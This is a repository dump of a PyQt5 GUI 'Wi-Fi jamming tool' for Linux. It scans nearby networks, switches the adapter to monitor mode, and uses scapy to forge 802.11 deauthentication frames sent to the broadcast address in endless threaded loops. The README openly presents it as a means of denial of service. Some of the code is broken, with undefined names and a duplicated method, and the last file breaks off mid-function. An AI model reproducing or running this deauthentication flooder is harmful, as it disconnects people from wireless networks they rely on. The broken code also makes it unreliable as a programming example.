├── no-wifi.png ├── README.md ├── pull.py └── complete_project.py /no-wifi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/l4f2s4/pyqt5-linux-wifi-jamming-tools/HEAD/no-wifi.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pyqt5-linux-wifi-jamming-tool 2 | Linux-Wifi-Jamming is a simple GUI tool, yet highly effective method of causing a DoS on a wireless implemented using python pyqt5. 3 | Because of the proliferation of wireless technologies, jamming in wireless networks has become a major research problem due to the ease in blocking communication 4 | in wireless networks. Jamming attacks are a subset of denial of service (DoS) attacks. 5 | 6 | **Requirements** 7 | --- 8 | *linux operating system* 9 | --- 10 | `make sure you have linux operating system with wireless-adapter configured and this tools are installed namely:nmcli,airmon-ng` 11 | 12 | *python3* 13 | --- 14 | `install pyqt5,pywifi package` 15 | 16 | 17 | 18 | *run* 19 | --- 20 | python3 complete_project.py to start project 21 | 22 | -------------------------------------------------------------------------------- /pull.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import random 4 | 5 | 6 | __help__ = """Usage: 7 | wifijammer.py [--argument] [value] 8 | 9 | Args Description Default 10 | -h, --help Throwback this help manaul False 11 | -i, --interface Monitor Mode Interface to use 12 | for scanning & deauthentication None 13 | -c, --channel Channel to put monitor interface 14 | on All 15 | -a, --accesspoints Comma-seperated list of access- 16 | points to target All 17 | -s, --stations Comma-seperated list of stations 18 | to target All 19 | -f, --filters Comma-seperated list of Mac- 20 | addresses to skip target None 21 | -p, --packets Number of deauthentication 22 | packets to send per turn. 5 23 | -d, --delay Delay b/w transmission of pkts 0.1s 24 | -r, --reset To refresh the target list after 25 | the list has reached a specific 26 | number, like --reset 5 None 27 | --code (Int) Deauthentication Code 28 | to send with packets 7 29 | --world Scan for channels from 1-14, 30 | default is 1-11 False 31 | --aggressive Run in Aggressive Mode. Send 32 | Continuous frames to Broadcast 33 | Doesn't work when hoppping. False 34 | --no-broadcast Don't send deauthentication 35 | packets to broadcast address False 36 | --verbose Print device manufacturing 37 | details False 38 | """ 39 | 40 | class PULL: 41 | 42 | WHITE = '\033[0m' 43 | PURPLE = '\033[95m' 44 | CYAN = '\033[96m' 45 | DARKCYAN = '\033[36m' 46 | BLUE = '\033[94m' 47 | GREEN = '\033[92m' 48 | YELLOW = '\033[93m' 49 | RED = '\033[91m' 50 | BOLD = '\033[1m' 51 | UNDERLINE = '\033[4m' 52 | END = '\033[0m' 53 | LINEUP = '\033[F' 54 | 55 | MIXTURE = { 56 | 'WHITE': '\033[0m', 57 | 'PURPLE': '\033[95m', 58 | 'CYAN': '\033[96m', 59 | 'DARKCYAN': '\033[36m', 60 | 'BLUE': '\033[94m', 61 | 'GREEN': '\033[92m', 62 | 'YELLOW': '\033[93m', 63 | 'RED': '\033[91m', 64 | 'BOLD': '\033[1m', 65 | 'UNDERLINE': '\033[4m', 66 | 'END': '\033[0m', 67 | 'LINEUP': '\033[F' 68 | } 69 | 70 | VACANT = { 71 | 'WHITE': '', 72 | 'PURPLE': '', 73 | 'CYAN': '', 74 | 'DARKCYAN': '', 75 | 'BLUE': '', 76 | 'GREEN': '', 77 | 'YELLOW': '', 78 | 'RED': '', 79 | 'BOLD': '', 80 | 'UNDERLINE': '', 81 | 'END': '', 82 | 'LINEUP': '' 83 | } 84 | 85 | def __init__(self): 86 | if not self.support_colors: 87 | self.win_colors() 88 | 89 | def support_colors(self): 90 | plat = sys.platform 91 | supported_platform = plat != 'Pocket PC' and (plat != 'win32' or \ 92 | 'ANSICON' in os.environ) 93 | is_a_tty = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty() 94 | if not supported_platform or not is_a_tty: 95 | return False 96 | return True 97 | 98 | def win_colors(self): 99 | self.WHITE = '' 100 | self.PURPLE = '' 101 | self.CYAN = '' 102 | self.DARKCYAN = '' 103 | self.BLUE = '' 104 | self.GREEN = '' 105 | self.YELLOW = '' 106 | self.RED = '' 107 | self.BOLD = '' 108 | self.UNDERLINE = '' 109 | self.END = '' 110 | self.MIXTURE = { 111 | 'WHITE': '', 112 | 'PURPLE': '', 113 | 'CYAN': '', 114 | 'DARKCYAN': '', 115 | 'BLUE': '', 116 | 'GREEN': '', 117 | 'YELLOW': '', 118 | 'RED': '', 119 | 'BOLD': '', 120 | 'UNDERLINE': '', 121 | 'END': '', 122 | 'LINEUP': '' 123 | } 124 | 125 | for key in list(self.MIXTURE.items()): 126 | self.MIXTURE[ key ] = '' 127 | 128 | def linebreak(self, howmany=1): 129 | for n in range(0, howmany): 130 | sys.stdout.write( "\n" ) 131 | 132 | def print(self, sig, statement, *colors): 133 | cc = '' 134 | cc = "".join([color for color in colors]) 135 | print("{mix}[{sig}]{end} {statement}".format( 136 | sig=sig, 137 | mix=cc, 138 | end=self.END, 139 | statement=statement 140 | )) 141 | 142 | def verbose(self, sig, statement, verbose, *colors): 143 | if verbose: 144 | cc = '' 145 | cc = "".join([color for color in colors]) 146 | print("{mix}[{sig}]{end} {statement}".format( 147 | sig=sig, 148 | mix=cc, 149 | end=self.END, 150 | statement=statement 151 | )) 152 | 153 | def input(self, sig, statement, validation=(), *colors): 154 | cc = '' 155 | cc = "".join([color for color in colors]) 156 | value = input("{mix}[{sig}]{end} {statement}".format( 157 | sig=sig, 158 | mix=cc, 159 | end=self.END, 160 | statement=statement 161 | )) 162 | if value: 163 | if validation: 164 | if validation[0].lower() == value.lower(): 165 | return True 166 | elif validation[1].lower() == value.lower(): 167 | return False 168 | else: 169 | self.print("!", "Something Not Valid here. Enter a Valid Value.", self.RED) 170 | value = self.input(sig, statement, validation, cc) 171 | else: 172 | return value 173 | else: 174 | self.print("!", "Something Not Valid here. Enter a Valid Value.", self.RED) 175 | value = self.input(statement, validation, cc) 176 | 177 | return value 178 | 179 | def halt(self, statement, exit, *colors): 180 | cc = '' 181 | cc = "".join([color for color in colors]) 182 | print("{mix}[~]{end} {statement}".format( 183 | mix=cc, 184 | end=self.END, 185 | statement=statement 186 | )) 187 | if exit: 188 | sys.exit(-1) 189 | 190 | def get_mac(self, bss): 191 | retval = '' 192 | 193 | if os.path.isfile(os.path.join(os.getcwd(), 'maclist', 'macs.txt')): 194 | lines = open(os.path.join(os.getcwd(), 'maclist', 'macs.txt')) 195 | for line in lines: 196 | line = line.split( " ~ " ) 197 | if bss.lower().startswith(line[0].lower()[:8]): 198 | retval = line[1].split(" ")[0] 199 | 200 | return retval 201 | 202 | def help(self): 203 | sys.exit( 204 | __help__ 205 | ) 206 | 207 | def logo(self): 208 | color = random.choice([ 209 | self.DARKCYAN, 210 | self.RED, 211 | self.YELLOW, 212 | ]) 213 | print( 214 | "{mcolor}{bcolor}{body}{ecolor}\n\t\t{amcolor}@hash3liZer v1.0{aecolor}\n".format( 215 | mcolor=color, 216 | bcolor=self.BOLD, 217 | body=__logo__, 218 | ecolor=self.END, 219 | amcolor=self.BOLD, 220 | aecolor=self.END 221 | ) 222 | ) -------------------------------------------------------------------------------- /complete_project.py: -------------------------------------------------------------------------------- 1 | import getpass 2 | from PyQt5 import QtCore, QtWidgets 3 | from PyQt5.QtWidgets import * 4 | from PyQt5.QtGui import * 5 | from PyQt5.QtCore import * 6 | import importlib 7 | import sys,os,time 8 | import socket 9 | import json 10 | import argparse 11 | 12 | from pull import PULL 13 | 14 | import pywifi 15 | 16 | from scapy.all import * 17 | from scapy.layers.dot11 import Dot11Elt, Dot11, Dot11Beacon 18 | 19 | if os.geteuid()==0: 20 | wifi = pywifi.PyWiFi() 21 | iface = wifi.interfaces()[0] 22 | iface.scan() 23 | time.sleep(0.5) 24 | results = iface.scan_results() 25 | 26 | class JAMMER: 27 | 28 | __ACCESSPOINTS = [] 29 | __EXECUTED = [] 30 | __DECPACKETS = [] 31 | 32 | __BROADCAST = "ff:ff:ff:ff:ff:ff" 33 | 34 | def __init__(self, x): 35 | self.aggressive = True 36 | self.verbose = True 37 | self.exceptions = ['00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:'] 38 | 39 | self.interface = 'wlan0mon' 40 | 41 | self.channel = 0 42 | self.essids = x[0] 43 | self.aps = x[1] 44 | self.stations = False 45 | self.filters = ['00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:'] 46 | 47 | self.packets = 100 48 | self.delay = 1 49 | self.reset = 1 50 | self.code = 7 51 | 52 | self.m = x 53 | 54 | def extract_essid(self, layers): 55 | retval = '' 56 | counter = 0 57 | 58 | try: 59 | while True: 60 | layer = layers[counter] 61 | if hasattr(layer, "ID") and layer.ID == 0: 62 | retval = layer.info.decode('utf-8') 63 | break 64 | else: 65 | counter += 1 66 | except IndexError: 67 | pass 68 | 69 | return retval 70 | 71 | def extract_channel(self, layers): 72 | retval = '' 73 | counter = 0 74 | 75 | try: 76 | while True: 77 | layer = layers[counter] 78 | if hasattr(layer, "ID") and layer.ID == 3 and layer.len == 1: 79 | retval = ord(layer.info) 80 | break 81 | else: 82 | counter += 1 83 | except IndexError: 84 | pass 85 | 86 | return retval 87 | 88 | def get_ess(self, bss): 89 | retval = '' 90 | 91 | for ap in self.__ACCESSPOINTS: 92 | if ap.get('bssid') == bss: 93 | retval = ap.get('essid') 94 | break 95 | 96 | return retval 97 | 98 | def get_channel(self, bss): 99 | retval = 0 100 | 101 | for ap in self.__ACCESSPOINTS: 102 | if ap.get('bssid') == bss: 103 | retval = ap.get('channel') 104 | 105 | return retval 106 | 107 | def filter_devices(self, sn, rc): 108 | retval = { 109 | 'ap': '', 110 | 'sta': '', 111 | } 112 | 113 | for ap in self.__ACCESSPOINTS: 114 | if ap.get('bssid') == sn: 115 | retval['ap'] = sn 116 | retval['sta'] = rc 117 | elif ap.get('bssid') == rc: 118 | retval['ap'] = rc 119 | retval['sta'] = sn 120 | 121 | return retval 122 | 123 | def aggressive_run(self, ap, sta): 124 | pkt = self.forge(ap, sta)[0] 125 | 126 | self.write(ap, sta) 127 | 128 | while True: 129 | sendp( 130 | pkt, 131 | iface=self.interface, 132 | count=1, 133 | inter=0, 134 | verbose=True 135 | ) 136 | 137 | def aggressive_handler(self, ap, sta): 138 | if (sta not in self.exceptions) and (self.aggressive): 139 | t = threading.Thread(target=self.aggressive_run, args=(ap, sta)) 140 | t.daemon = True 141 | t.start() 142 | 143 | 144 | def clarify(self, toappend): 145 | essid = toappend.get('essid') 146 | bssid = toappend.get('bssid') 147 | 148 | if self.essids: 149 | if essid in self.essids: 150 | if self.aps: 151 | if bssid in self.aps: 152 | self.__ACCESSPOINTS.append( toappend ) 153 | self.aggressive_handler(bssid, self.__BROADCAST) 154 | else: 155 | self.__ACCESSPOINTS.append( toappend ) 156 | self.aggressive_handler(bssid, self.__BROADCAST) 157 | else: 158 | if self.aps: 159 | if bssid in self.aps: 160 | self.__ACCESSPOINTS.append( toappend ) 161 | self.aggressive_handler(bssid, self.__BROADCAST) 162 | else: 163 | self.__ACCESSPOINTS.append( toappend ) 164 | self.aggressive_handler(bssid, self.__BROADCAST) 165 | 166 | def invalid(self, sta): 167 | for exception in self.exceptions: 168 | if sta.startswith(exception): 169 | return True 170 | 171 | return False 172 | 173 | def is_valid_sta(self, sta): 174 | if self.stations: 175 | if sta in self.stations: 176 | return True 177 | else: 178 | return False 179 | else: 180 | return True 181 | 182 | def get_crate(self, ch): 183 | retval = [] 184 | 185 | for connection in self.__DECPACKETS: 186 | channel = connection.get('channel') 187 | 188 | if channel == ch: 189 | retval.append(connection) 190 | 191 | return retval 192 | 193 | def forge(self, ap, sta): 194 | def fpkt(sn, rc): 195 | pkt = RadioTap() / Dot11( 196 | type=0, 197 | subtype=12, 198 | addr1=rc, 199 | addr2=sn, 200 | addr3=sn 201 | ) / Dot11Deauth( 202 | reason=self.code 203 | ) 204 | return pkt 205 | 206 | retval = [] 207 | 208 | if sta != self.__BROADCAST: 209 | retval.append(fpkt(ap, sta)) 210 | retval.append(fpkt(sta, ap)) 211 | else: 212 | retval.append(fpkt(ap, sta)) 213 | 214 | return retval 215 | 216 | def filtertify(self, ap, sta): 217 | if self.invalid(sta): 218 | return 219 | else: 220 | if ap not in self.filters and sta not in self.filters: 221 | if self.is_valid_sta(sta): 222 | onrun_form = (ap, sta) 223 | if onrun_form not in self.__EXECUTED: 224 | 225 | self.__EXECUTED.append(onrun_form) 226 | pkt_form = { 227 | 'ap': ap, 228 | 'sta': sta, 229 | 'channel': self.get_channel(ap), 230 | } 231 | 232 | self.__DECPACKETS.append(pkt_form) 233 | 234 | def injector(self, pkt): 235 | if pkt.haslayer(Dot11Beacon): 236 | try: 237 | bssid = pkt.getlayer(Dot11FCS).addr2 238 | except: 239 | bssid = pkt.getlayer(Dot11).addr2 240 | 241 | essid = self.extract_essid(pkt.getlayer(Dot11Elt)) 242 | channel = self.extract_channel(pkt.getlayer(Dot11Elt)) 243 | 244 | toappend = { 245 | 'essid': essid, 246 | 'bssid': bssid, 247 | 'channel': channel 248 | } 249 | 250 | if toappend not in self.__ACCESSPOINTS: 251 | self.clarify( 252 | toappend 253 | ) 254 | 255 | else: 256 | sender = receiver = "" 257 | if pkt.haslayer(Dot11FCS) and pkt.getlayer(Dot11FCS).type == 2 and not pkt.haslayer(EAPOL): 258 | sender = pkt.getlayer(Dot11FCS).addr2 259 | receiver = pkt.getlayer(Dot11FCS).addr1 260 | 261 | elif pkt.haslayer(Dot11) and pkt.getlayer(Dot11).type == 2 and not pkt.haslayer(EAPOL): 262 | sender = pkt.getlayer(Dot11).addr2 263 | receiver = pkt.getlayer(Dot11).addr1 264 | 265 | if sender and receiver: 266 | result = self.filter_devices(sender, receiver) 267 | 268 | if result.get('ap') and result.get('sta'): 269 | self.filtertify(result.get('ap'), result.get('sta')) 270 | 271 | def write(self, ap, sta): 272 | if self.verbose: 273 | pull.print("*", 274 | "Sent Deauths Count [{count}] Code [{code}] ({sdeveloper}) {sender} <--> ({rdeveloper}) {receiver} ({essid}) [{channel}]".format( 275 | count=pull.RED+str(self.packets)+pull.END, 276 | code =pull.GREEN+str(self.code)+pull.END, 277 | sender=pull.DARKCYAN+ap.upper()+pull.END, 278 | receiver=pull.DARKCYAN+sta.upper()+pull.END, 279 | sdeveloper=pull.PURPLE+pull.get_mac(ap)+pull.END, 280 | rdeveloper=pull.PURPLE+pull.get_mac(sta)+pull.END, 281 | essid=pull.YELLOW+self.get_ess(ap)+pull.END, 282 | channel=pull.RED+str(self.get_channel(ap))+pull.END 283 | ), 284 | pull.YELLOW 285 | ) 286 | else: 287 | pull.print("*", 288 | "Sent Deauths Count [{count}] Code [{code}] {sender} <--> {receiver} ({essid}) [{channel}]".format( 289 | count=pull.RED+str(self.packets)+pull.END, 290 | code =pull.GREEN+str(self.code)+pull.END, 291 | sender=pull.DARKCYAN+ap.upper()+pull.END, 292 | receiver=pull.DARKCYAN+sta.upper()+pull.END, 293 | essid=pull.YELLOW+self.get_ess(ap)+pull.END, 294 | channel=pull.RED+str(self.get_channel(ap))+pull.END 295 | ), 296 | pull.YELLOW 297 | ) 298 | 299 | def jammer(self): 300 | ch=1 301 | while True: 302 | ch = ch % 14 + 1 303 | #subprocess.call(['iwconfig', self.interface, 'channel', str(ch)]) 304 | time.sleep(0.5) 305 | 306 | crate = self.get_crate(ch) 307 | 308 | for connection in crate: 309 | ap = connection.get( 'ap' ) 310 | sta = connection.get( 'sta' ) 311 | channel = connection.get( 'channel' ) 312 | 313 | pkts = self.forge(ap, sta) 314 | for pkt in pkts: 315 | sendp(pkt, iface=self.interface, count=self.packets, inter=self.delay, verbose=False) 316 | 317 | self.write(self.aps,self.sta) 318 | 319 | self.resetter() 320 | 321 | time.sleep(0.5) 322 | 323 | def resetter(self): 324 | if self.reset: 325 | if len(self.__EXECUTED) >= self.reset: 326 | self.__EXECUTED = [] 327 | self.__DECPACKETS = [] 328 | 329 | def interfaced(self, iface): 330 | self.nx=json.dumps(self.m) 331 | wix= WindowTwo(self.nx) 332 | def getNICnames(): 333 | ifaces = [] 334 | dev = open('/proc/net/dev', 'r') 335 | data = dev.read() 336 | for n in re.findall('[a-zA-Z0-9]+:', data): 337 | ifaces.append(n.rstrip(":")) 338 | return ifaces 339 | 340 | def confirmMon(iface): 341 | co = subprocess.Popen(['iwconfig', iface], stdout=subprocess.PIPE) 342 | data = co.communicate()[0].decode() 343 | card = re.findall('Mode:[A-Za-z]+', data)[0] 344 | if "Monitor" in card: 345 | return True 346 | else: 347 | return False 348 | 349 | if iface: 350 | ifaces = getNICnames() 351 | if iface in ifaces: 352 | if confirmMon(iface): 353 | return iface 354 | else: 355 | wix.message(pull.halt("Interface Not In Monitor Mode [%s]" % (pull.RED + iface + pull.END), True, pull.RED)) 356 | else: 357 | wix.message(pull.halt("Interface Not Found. [%s]" % (pull.RED + iface + pull.END), True, pull.RED)) 358 | else: 359 | wix.message(pull.halt("Interface Not Provided. Specify an Interface!", True, pull.RED)) 360 | 361 | 362 | 363 | class MainWindow(QtWidgets.QWidget): 364 | 365 | switch_window = QtCore.pyqtSignal(str) 366 | 367 | def __init__(self): 368 | QtWidgets.QWidget.__init__(self) 369 | self.setGeometry(300,100,800,600) 370 | self.setWindowTitle('jamming system') 371 | self.setStyleSheet(' background-color: #06294B') 372 | 373 | layout = QtWidgets.QGridLayout() 374 | 375 | 376 | hbox = QHBoxLayout() 377 | self.search = QLineEdit() 378 | self.search.setPlaceholderText('Search...') 379 | self.search.setStyleSheet('background-color:#fff; color:#000; height:30px;') 380 | 381 | self.scann = QtWidgets.QPushButton('Refresh') 382 | self.scann.setStyleSheet('background-color:#fff; height:30px;') 383 | self.scann.clicked.connect(self.reload) 384 | 385 | hbox.addWidget(self.search) 386 | hbox.addStretch() 387 | hbox.addWidget(self.scann) 388 | layout.addLayout(hbox, 0,0) 389 | 390 | self.row, self.col = 0,0 391 | 392 | self.tableWidget = QTableWidget(len(results), 2) 393 | self.tableWidget.setRowCount(len(results)) 394 | 395 | 396 | 397 | self.tableWidget.setStyleSheet('background-color: #fff;') 398 | self.tableWidget.setHorizontalHeaderLabels(["Wi-Fi details", "BSSID (MAC)"]) 399 | self.tableWidget.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) 400 | for y, data in enumerate(results): 401 | self.tableWidget.setItem(y,0, QTableWidgetItem(data.ssid)) 402 | self.tableWidget.setItem(y,1, QTableWidgetItem(data.bssid)) 403 | 404 | self.search.textChanged.connect(self.findName) 405 | 406 | layout.addWidget(self.tableWidget, 1,0) 407 | 408 | self.tableWidget.cellClicked.connect(self.cellClick) 409 | 410 | self.button = QtWidgets.QPushButton('Jamm') 411 | self.button.setStyleSheet('color:#fff; height:30px; font-size:15px; font-weight:bold') 412 | self.button.clicked.connect(self.run_selected_test) 413 | 414 | layout.addWidget(self.button, 2,0) 415 | 416 | self.setLayout(layout) 417 | 418 | def reload(self): 419 | importlib.reload(pywifi) 420 | time.sleep(0.5) 421 | 422 | def findName(self): 423 | name = self.search.text().lower() 424 | for row in range(self.tableWidget.rowCount()): 425 | item = self.tableWidget.item(row, 0) 426 | # if the search is *not* in the item's text *do not hide* the row 427 | self.tableWidget.setRowHidden(row, name not in item.text().lower()) 428 | 429 | def cellClick(self, row, col): 430 | self.row = row 431 | self.col = col 432 | 433 | def run_selected_test(self): 434 | self.cell = [] 435 | self.cols = 2 436 | for col in range(self.cols): 437 | self.cell.append(self.tableWidget.item(self.row, col).text()) 438 | wifi_data =json.dumps(self.cell) 439 | self.switch(wifi_data) 440 | 441 | def switch(self,wifi_data): 442 | self.switch_window.emit(wifi_data) 443 | 444 | 445 | 446 | 447 | class WindowTwo(QtWidgets.QWidget): 448 | 449 | switch_window = QtCore.pyqtSignal() 450 | errorSignal = QtCore.pyqtSignal(str) 451 | outputSignal = QtCore.pyqtSignal(str) 452 | 453 | 454 | def __init__(self, wifi_data): 455 | QtWidgets.QWidget.__init__(self) 456 | 457 | self.output = None 458 | self.error = None 459 | 460 | self.setGeometry(300, 100, 800, 600) 461 | self.setWindowTitle('jamming system') 462 | self.setStyleSheet(' background-color: #06294B') 463 | 464 | self.y = wifi_data 465 | prime = json.loads(self.y) 466 | self.initial_Window(wifi_data) 467 | 468 | 469 | 470 | 471 | 472 | def initial_Window(self, wifi_data): 473 | 474 | vbox = QtWidgets.QGridLayout() 475 | 476 | data = json.loads(wifi_data) 477 | self.ch = subprocess.getoutput("nmcli -g chan dev wifi list bssid" + " " + data[1]) 478 | self.rate = subprocess.getoutput("nmcli -g rate dev wifi list bssid" + " " + data[1]) 479 | self.signal = subprocess.getoutput("nmcli -g signal dev wifi list bssid" + " " + data[1]) 480 | self.security = subprocess.getoutput("nmcli -g security dev wifi list bssid" + " " + data[1]) 481 | self.mode = subprocess.getoutput("nmcli -g mode dev wifi list bssid" + " " + data[1]) 482 | 483 | self.process = QtCore.QProcess(self) 484 | 485 | self.tableWidget = QTableWidget(6, 2) 486 | self.tableWidget.setRowCount(7) 487 | 488 | self.tableWidget.setStyleSheet(' background-color: #06294B;color:#fff;font-weight:family; font-size: 20px; ') 489 | self.tableWidget.setItem.setStyleSheet('font-size: 20px; ') 490 | self.tableWidget.verticalHeader().setVisible(False) 491 | self.tableWidget.horizontalHeader().setVisible(False) 492 | self.tableWidget.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) 493 | self.tableWidget.setItem(0, 0, QTableWidgetItem('Access Point Name')) 494 | self.tableWidget.setItem(0, 1, QTableWidgetItem(data[0])) 495 | self.tableWidget.setItem(1, 0, QTableWidgetItem('Mac address')) 496 | self.tableWidget.setItem(1, 1, QTableWidgetItem(data[1])) 497 | self.tableWidget.setItem(2, 0, QTableWidgetItem('Channel number')) 498 | self.tableWidget.setItem(2, 1, QTableWidgetItem(self.ch)) 499 | self.tableWidget.setItem(3, 0, QTableWidgetItem('Bit rate')) 500 | self.tableWidget.setItem(3, 1, QTableWidgetItem(self.rate)) 501 | self.tableWidget.setItem(4, 0, QTableWidgetItem('Signal strength')) 502 | self.tableWidget.setItem(4, 1, QTableWidgetItem(self.signal)) 503 | self.tableWidget.setItem(5, 0, QTableWidgetItem('Security')) 504 | self.tableWidget.setItem(5, 1, QTableWidgetItem(self.security)) 505 | self.tableWidget.setItem(6, 0, QTableWidgetItem('Mode')) 506 | self.tableWidget.setItem(6, 1, QTableWidgetItem(self.mode)) 507 | 508 | 509 | 510 | vbox.addWidget(self.tableWidget, 0,0) 511 | 512 | l = QVBoxLayout() 513 | self.btn = QPushButton("Monitor mode") 514 | self.btn.pressed.connect(self.monitor_mode) 515 | self.btn.setStyleSheet('color:#fff; padding-top:10px; padding-bottom:10px; padding-left:30px; padding-right:30px; font-size:15px ') 516 | self.btnM = QPushButton("Management mode") 517 | self.btnM.pressed.connect(self.management_mode) 518 | self.btnM.setStyleSheet('color:#fff; padding-top:10px; padding-bottom:10px; padding-left:30px; padding-right:30px; font-size:15px ') 519 | 520 | self.text = QPlainTextEdit() 521 | self.text.setStyleSheet(' background-color:black; color:green;font-size:15px') 522 | self.text.setReadOnly(True) 523 | 524 | l.addWidget(self.text) 525 | vbox.addLayout(l, 3,0) 526 | 527 | self.button = QtWidgets.QPushButton('set monitor mode') 528 | self.button.clicked.connect(self.monitor_mode) 529 | self.button.setStyleSheet('color:#fff; padding-top:10px; padding-bottom:10px; padding-left:30px; padding-right:30px; font-size:15px ') 530 | 531 | self.mbutton = QtWidgets.QPushButton('return to management mode') 532 | self.mbutton.clicked.connect(self.management_mode) 533 | self.mbutton.setStyleSheet('color:#fff; padding-top:10px; padding-bottom:10px; padding-left:30px; padding-right:30px; font-size:15px ') 534 | 535 | self.back = QtWidgets.QPushButton('back') 536 | self.back.clicked.connect(self.switch) 537 | self.back.setStyleSheet('color:#fff; padding-top:10px; padding-bottom:10px; padding-left:30px; padding-right:30px; font-size:15px') 538 | 539 | self.btn = QtWidgets.QPushButton('Initiate Jamming') 540 | self.btn.clicked.connect(self.jamming_function) 541 | self.btn.setStyleSheet('color:#fff; padding-top:10px; padding-bottom:10px; padding-left:30px; padding-right:30px; font-size:15px') 542 | self.errorSignal.connect(lambda error: print(error)) 543 | self.outputSignal.connect(lambda output: print(output)) 544 | self.host = socket.gethostname() 545 | self.take = getpass.getuser() 546 | self.cwd = os.getcwd() 547 | self.message( 548 | "You run as " + self.take + "\nHostname :" + self.host + "\nCurrent Working Directory " + self.cwd + "\n\nTo initiate jamming \nYou must set your interface in monitor mode \n") 549 | 550 | 551 | 552 | 553 | hbox = QHBoxLayout() 554 | hbox.addWidget(self.back) 555 | hbox.addStretch() 556 | hbox.addWidget(self.btn) 557 | hbox.addStretch() 558 | 559 | hbox.addWidget(self.button) 560 | hbox.addStretch() 561 | hbox.addWidget(self.mbutton) 562 | hbox.addStretch() 563 | 564 | 565 | # QProcess object for external app 566 | self.process = QtCore.QProcess(self) 567 | 568 | 569 | # Just to prevent accidentally running multiple times 570 | # Disable the button when process starts, and enable it when it finishes 571 | #self.process.started.connect(lambda: self.btn.setEnabled(False)) 572 | #self.process.finished.connect(lambda: self.btn.setEnabled(True)) 573 | self.process.readyReadStandardError.connect(self.onReadyReadStandardError) 574 | self.process.readyReadStandardOutput.connect(self.onReadyReadStandardOutput) 575 | 576 | vbox.addLayout(hbox, 2,0) 577 | self.setLayout(vbox) 578 | 579 | def onReadyReadStandardError(self): 580 | error = self.process.readAllStandardError().data().decode() 581 | self.text.appendPlainText(error) 582 | self.errorSignal.emit(error) 583 | 584 | def onReadyReadStandardOutput(self): 585 | result = self.process.readAllStandardOutput().data().decode() 586 | self.text.appendPlainText(result) 587 | self.outputSignal.emit(result) 588 | 589 | 590 | 591 | def run(self, command): 592 | """Executes a system command.""" 593 | 594 | out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() 595 | self.output = out 596 | self.error = err 597 | self.text.setPlainText((self.output + self.error).decode()) 598 | return self.output + self.error 599 | 600 | def run(self, command): 601 | """Executes a system command.""" 602 | # clear previous text 603 | self.text.clear() 604 | self.process.start(command) 605 | 606 | 607 | def message(self, s): 608 | self.text.clear() 609 | self.text.appendPlainText(s) 610 | 611 | 612 | def jammingmessage(self, s): 613 | self.text.clear() 614 | self.text.appendPlainText(s) 615 | 616 | 617 | 618 | def switch(self): 619 | self.switch_window.emit() 620 | self.close() 621 | 622 | def monitor_mode(self): 623 | self.p = QProcess() 624 | 625 | self.errorSignal.connect(lambda error: print(error)) 626 | self.outputSignal.connect(lambda output: print(output)) 627 | self.run("airmon-ng start wlan0") 628 | self.host=socket.gethostname() 629 | self.take=getpass.getuser() 630 | self.cwd = os.getcwd() 631 | self.message("You run as "+self.take+"\nYou Hostname "+self.host+"\nCurrent Working Directory "+self.cwd) 632 | 633 | 634 | def management_mode(self): 635 | self.p = QProcess() 636 | self.errorSignal.connect(lambda error: print(error)) 637 | self.outputSignal.connect(lambda output: print(output)) 638 | 639 | self.run("airmon-ng stop wlan0mon") 640 | self.host=socket.gethostname() 641 | self.take=getpass.getuser() 642 | self.cwd = os.getcwd() 643 | self.message("You run as "+self.take+"\nHostname "+self.host+"\nCurrent Working Directory "+self.cwd) 644 | 645 | def engage(self): 646 | x = json.loads(self.y) 647 | inw=json.dumps(self.y) 648 | 649 | job=JAMMER(x) 650 | job.interfaced(job.interface) 651 | t=threading.Thread(target=job.jammer) 652 | t.daemon = True 653 | t.start() 654 | 655 | 656 | sniff(iface=job.interface, prn=job.injector, store=0) 657 | 658 | 659 | def jamming_function(self): 660 | 661 | x = json.loads(self.y) 662 | #source_essid = str(x[0]) 663 | self.engage() 664 | 665 | 666 | 667 | 668 | 669 | 670 | 671 | 672 | 673 | 674 | class Login(QtWidgets.QWidget): 675 | 676 | 677 | def __init__(self): 678 | QtWidgets.QWidget.__init__(self) 679 | self.setWindowTitle('wifi jamming tool') 680 | self.setGeometry(500,100,400,600) 681 | self.setStyleSheet(' background-color: #06294B; color:#fff; font-size:15px') 682 | 683 | flag = QtCore.Qt.WindowFlags(QtCore.Qt.FramelessWindowHint) 684 | self.setWindowFlags(flag) 685 | 686 | self.picture = QLabel(self) 687 | self.picture.setPixmap(QPixmap('no-wifi.png')) 688 | self.picture.setStyleSheet('margin-top:40px; margin-left:70px;') 689 | 690 | self.name = QLabel(self) 691 | self.name.setText('( wjt )') 692 | self.name.setStyleSheet('color:#fff; margin-top:360px; margin-left:160px; font-size:20px; font-weight:bold') 693 | 694 | self.text = QLabel(self) 695 | self.text.setText('Wi-Fi Jamming tool') 696 | self.text.setStyleSheet('color:#fff; margin-top:390px; margin-left:70px; font-size:25px; font-weight:bold;') 697 | 698 | self.progressBar = QProgressBar(self) 699 | self.progressBar.setStyleSheet(' width:350px; margin-top:450px; margin-left:25px; height:15px;') 700 | 701 | self.btnStart = QPushButton('Scan',self) 702 | self.btnStart.setStyleSheet('padding:5px; background-color:#fff; color:#000; width:100px; height:20px; margin-left:150px;margin-top:500px ') 703 | self.btnStart.clicked.connect(self.startProgress) 704 | 705 | self.timer =QBasicTimer() 706 | self.step = 0 707 | 708 | def infoDialog(self): 709 | msgBox = QMessageBox() 710 | msgBox.setIcon(QMessageBox.Warning) 711 | msgBox.setText("No wi-fi available ...") 712 | msgBox.setWindowTitle(" Wi-Fi Jamming ") 713 | #msgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel) 714 | msgBox.setStandardButtons(QMessageBox.Ok) 715 | msgBox.setStyleSheet("padding-left:25px; padding-right:25px; padding-top:10px; padding-bottom:10px; font-size:15px") 716 | msgBox.move(550,300) 717 | 718 | returnValue = msgBox.exec() 719 | if returnValue == QMessageBox.Ok: 720 | sys.exit() 721 | 722 | 723 | 724 | switch_window = QtCore.pyqtSignal() 725 | 726 | def startProgress(self): 727 | if self.timer.isActive(): 728 | 